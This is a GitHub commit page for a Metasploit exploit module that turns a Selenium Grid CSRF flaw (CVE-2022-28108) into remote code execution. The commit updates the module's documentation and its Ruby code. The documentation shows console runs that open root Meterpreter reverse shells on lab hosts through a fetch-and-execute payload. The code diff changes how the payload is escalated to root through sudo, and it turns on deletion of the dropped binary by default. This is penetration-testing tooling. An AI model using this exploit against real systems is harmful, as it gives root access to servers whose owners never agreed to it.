Skip to content

Commit 86bd1c2

Browse files
committed
Minor improve
* enable fetch_delete * avoid using single quotes * update doc
1 parent 6577a18 commit 86bd1c2

File tree

2 files changed

+33
-11
lines changed

2 files changed

+33
-11
lines changed

documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md

Lines changed: 29 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
## Vulnerable Application
22

3-
Selenium Server (Grid) before 4 allows CSRF because it permits non-JSON content types
3+
Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types
44
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
55

66
The vulnerability affects:
@@ -9,8 +9,8 @@ The vulnerability affects:
99

1010
This module was successfully tested on:
1111

12-
* selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 20.0.4
13-
* selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 20.0.4
12+
* selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
13+
* selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
1414

1515

1616
### Installation
@@ -33,6 +33,7 @@ This module was successfully tested on:
3333

3434

3535
## Scenarios
36+
### selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
3637
```
3738
msf6 > use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108
3839
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
@@ -54,8 +55,8 @@ Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
5455
Name Current Setting Required Description
5556
---- --------------- -------- -----------
5657
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
57-
FETCH_DELETE false yes Attempt to delete the binary after execution
58-
FETCH_FILENAME KPrNrswF no Name to use on remote system when storing payload; cannot contain spaces or slashes
58+
FETCH_DELETE true yes Attempt to delete the binary after execution
59+
FETCH_FILENAME jcInmtImuA no Name to use on remote system when storing payload; cannot contain spaces or slashes
5960
FETCH_SRVHOST no Local IP to use for serving payload
6061
FETCH_SRVPORT 8080 yes Local port to use for serving payload
6162
FETCH_URIPATH no Local URI to use for serving payload
@@ -74,20 +75,38 @@ Exploit target:
7475
7576
View the full module info with the info, or info -d command.
7677
77-
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16
78+
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4444 ForceExploit=true
7879
[*] Started reverse TCP handler on 192.168.56.1:4444
7980
[*] Running automatic check ("set AutoCheck false" to disable)
80-
[*] Version 3.141.59 detected, which is vulnerable
81-
[+] The target appears to be vulnerable.
82-
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:58562) at 2024-12-28 11:15:06 +0900
81+
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable
82+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:46564) at 2024-12-29 12:14:52 +0900
8383
8484
meterpreter > getuid
8585
Server username: root
8686
meterpreter > sysinfo
87-
Computer : 172.17.0.2
87+
Computer : 172.17.0.4
8888
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
8989
Architecture : x64
9090
BuildTuple : x86_64-linux-musl
9191
Meterpreter : x64/linux
9292
meterpreter >
9393
```
94+
95+
### selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
96+
```
97+
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447 ForceExploit=true
98+
[*] Started reverse TCP handler on 192.168.56.1:4444
99+
[*] Running automatic check ("set AutoCheck false" to disable)
100+
[!] Cannot reliably check exploitability. ForceExploit is enabled, proceeding with exploitation.
101+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:59162) at 2024-12-29 12:15:49 +0900
102+
103+
meterpreter > getuid
104+
Server username: root
105+
meterpreter > sysinfo
106+
Computer : 172.17.0.5
107+
OS : Ubuntu 18.04 (Linux 6.8.0-51-generic)
108+
Architecture : x64
109+
BuildTuple : x86_64-linux-musl
110+
Meterpreter : x64/linux
111+
meterpreter >
112+
```

modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,9 @@ def initialize(info = {})
4444
}
4545
],
4646
],
47+
'DefaultOptions' => {
48+
'FETCH_DELETE' => true
49+
},
4750
'DefaultTarget' => 0,
4851
'DisclosureDate' => '2022-04-18',
4952
'Notes' => {
@@ -86,7 +89,7 @@ def check
8689
def exploit
8790
b64encoded_payload = Rex::Text.encode_base64(
8891
"if sudo -n true 2>/dev/null; then\n"\
89-
" sudo su root -c '#{payload.encoded}'\n"\
92+
" echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\
9093
"else\n"\
9194
" #{payload.encoded}\n"\
9295
"fi\n"

0 commit comments

Comments
 (0)